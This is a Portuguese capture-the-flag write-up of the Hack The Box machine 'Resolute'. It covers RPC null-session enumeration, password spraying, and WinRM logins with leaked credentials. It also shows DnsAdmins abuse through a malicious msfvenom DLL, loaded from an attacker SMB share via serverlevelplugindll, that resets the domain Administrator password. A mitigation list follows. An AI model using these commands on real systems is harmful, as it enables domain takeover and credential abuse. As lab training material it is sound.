0xEtern4lW0lf
Hack The BoxMediumWindows

Resolute

6 min de leitura
#Active Directory#RCE

Introdução

https://app.hackthebox.com/machines/Resolute Resolute é uma máquina Windows de dificuldade Media da plataforma Hack The Box, focada em Active Directory. O objetivo é comprometer o domínio megabank.local a partir de uma enumeração inicial via RPC, passando por reutilização de credenciais e finalizando com abuso de um grupo privilegiado do AD para obter execução de código como NT AUTHORITY\SYSTEM. O IP alvo utilizado ao longo deste writeup é 10.10.10.169. Resumo do caminho de exploração: primeiro foi feita a enumeração de usuários do domínio via RPC (sessão nula), onde também foi encontrada uma senha em texto claro. Com essa senha, foi feito um password spray contra a lista de usuários, obtendo acesso como a usuária melanie. Dentro da máquina, um arquivo de transcript do PowerShell revelou a credencial do usuário ryan, que é membro do grupo DnsAdmins. Esse grupo possui um privilégio conhecido de poder carregar uma DLL arbitrária no serviço DNS do Windows, o que foi abusado para executar comandos como SYSTEM e finalmente obter uma shell de Administrador.

Escaneamento

O primeiro passo é escanear a máquina em busca de portas e serviços abertos, usando nmap.

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.169 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.169

O scan revelou um conjunto de portas típico de um Domain Controller Windows: DNS (53), Kerberos (88), RPC (135), NetBIOS/SMB (139/445), LDAP (389/636/3268/3269), WinRM (5985), entre outras — confirmando se tratar de um Active Directory Domain Controller do domínio megabank.local.

Enumeração

Porta 445 / 135 (RPC)

Com a porta de RPC exposta e sem credenciais, tentei uma sessão nula (null session) para enumerar informações do domínio.

  • rpcclient -U "" -N 10.10.10.169 Dentro da sessão, o comando enumdomusers lista todos os usuários do domínio:
enumdomusers

Também é possível obter informações detalhadas de cada usuário individualmente com queryuser, informando o RID (identificador relativo) em hexadecimal:

queryuser 0x1f4

Também dá para obter um resumo com menos informações de todos os usuários de uma vez com querydispinfo:

querydispinfo

Entre os dados retornados na enumeração dos usuários, uma das contas tinha uma senha deixada em texto claro no campo de descrição: Welcome123!. Esse tipo de vazamento é comum quando administradores anotam credenciais temporárias diretamente nos atributos do AD (como description) para lembrar de repassar aos usuários.

Exploração

A falha explorada nesta etapa é reutilização/vazamento de credenciais: a sessão nula do RPC permitiu enumerar toda a lista de usuários do domínio sem autenticação, e a senha Welcome123!, exposta no campo de descrição de uma conta, se mostrou válida para outros usuários do domínio. Password Spray Com a senha em texto claro encontrada (Welcome123!) e a lista de usuários já enumerada via RPC, foi feito um password spray (testar a mesma senha contra todos os usuários) usando o crackmapexec:

crackmapexec smb 10.10.10.169 -u users -p 'Welcome123!' --continue-on-success

O spray retornou sucesso para a conta de melanie, confirmando que ela reutilizava a senha exposta:

Usuário: melanie Senha: Welcome123! Com essa credencial válida, foi possível autenticar via WinRM usando o evil-winrm e obter um shell inicial na máquina:

evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'

Pós-exploração

Melanie → Ryan

Já com shell como melanie, ao listar arquivos ocultos foi encontrado um arquivo de transcript do PowerShell contendo a credencial do usuário ryan:

ls -force

O arquivo em questão era: C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt Esse tipo de transcript é gerado automaticamente pelo PowerShell quando o logging de transcrição está habilitado (comum em GPOs de logon), e nesse caso o histórico de comandos ficou registrado em texto claro, incluindo a criação de uma conta de serviço com sua respectiva senha:

Usuário: ryan Senha: Serv3r4Admin4cc123! Com essa credencial, autentiquei novamente via WinRM, agora como ryan:

evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'

Ryan → Administrator

Abuso do grupo DnsAdmins

Ao checar os grupos do usuário atual:

whoami /groups

Ficou confirmado que o usuário ryan é membro do grupo DnsAdmins. Esse grupo, por padrão, não é considerado altamente privilegiado no sentido tradicional, mas concede controle sobre a configuração do serviço DNS do Windows Server — e esse serviço roda como NT AUTHORITY\SYSTEM no Domain Controller. Membros de DnsAdmins podem configurar o parâmetro serverlevelplugindll, que faz o serviço DNS carregar uma DLL arbitrária ao reiniciar. Essa é a vulnerabilidade central explorada nesta etapa: abuso de privilégio de configuração do DNS para conseguir execução arbitrária de código como SYSTEM. Passo a passo da exploração:

  1. Gerei uma DLL maliciosa com msfvenom, com um payload que cria uma nova conta com privilégios de Administrator do domínio (poderia também ser um payload reverse shell):
msfvenom -p windows/x64/exec cmd='net user administrator Senha#123! /domain' -f dll -o perverse.dll
  1. Subi um servidor SMB local para servir a DLL para o alvo:
impacket-smbserver share . -smb2support
  1. No alvo (como ryan), configurei o serviço DNS para apontar para a DLL hospedada no meu compartilhamento SMB e reiniciei o serviço para forçar o carregamento:
cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.7\share\perverse.dll
sc.exe stop dns
sc.exe start dns

Ao reiniciar, o serviço DNS (rodando como SYSTEM) carregou a DLL e executou o payload, alterando a senha do Administrator do domínio.

  1. Com a senha do Administrator já modificada, autentiquei com impacket-psexec e obtive um shell com privilégios totais no domínio:
impacket-psexec megabank.local/administrator@10.10.10.169

Com isso, foi obtido controle total do domínio megabank.local.

Anexos

Ferramentas e scripts utilizados ao longo do writeup:

  • nmap — varredura de portas e serviços.
  • rpcclient — enumeração via sessão nula de RPC (enumdomusers, queryuser, querydispinfo).
  • crackmapexec — password spray contra SMB.
  • evil-winrm — shell interativo via WinRM.
  • msfvenom — geração da DLL maliciosa (payload windows/x64/exec).
  • impacket-smbserver — servidor SMB local para hospedar a DLL maliciosa.
  • dnscmd.exe / sc.exe — abuso do parâmetro serverlevelplugindll do serviço DNS e reinício do serviço.
  • impacket-psexec — execução remota autenticada como Administrator do domínio.

Mitigação

  • Nunca armazenar senhas em texto claro em atributos do Active Directory (como o campo description) ou em qualquer outro campo visível por usuários não privilegiados.
  • Aplicar política de senhas únicas por conta, evitando reutilização entre usuários, especialmente senhas “padrão” geradas para onboarding.
  • Revisar e limpar periodicamente scripts de logon, GPOs e transcripts do PowerShell (C:\PSTranscripts), removendo credenciais expostas em texto claro; considerar desabilitar transcrição em texto plano ou protegê-la com controle de acesso restrito.
  • Restringir a associação ao grupo DnsAdmins apenas a administradores estritamente necessários, tratando-o como um grupo de alto privilégio equivalente a Domain Admins, já que permite execução de código como SYSTEM no Domain Controller via serverlevelplugindll.
  • Monitorar alterações na configuração do serviço DNS (em especial o parâmetro serverlevelplugindll) e reinícios do serviço, gerando alertas para atividades fora do padrão.
  • Aplicar o princípio do menor privilégio de forma geral no AD, revisando periodicamente memberships de grupos privilegiados e realizando auditorias de contas de serviço.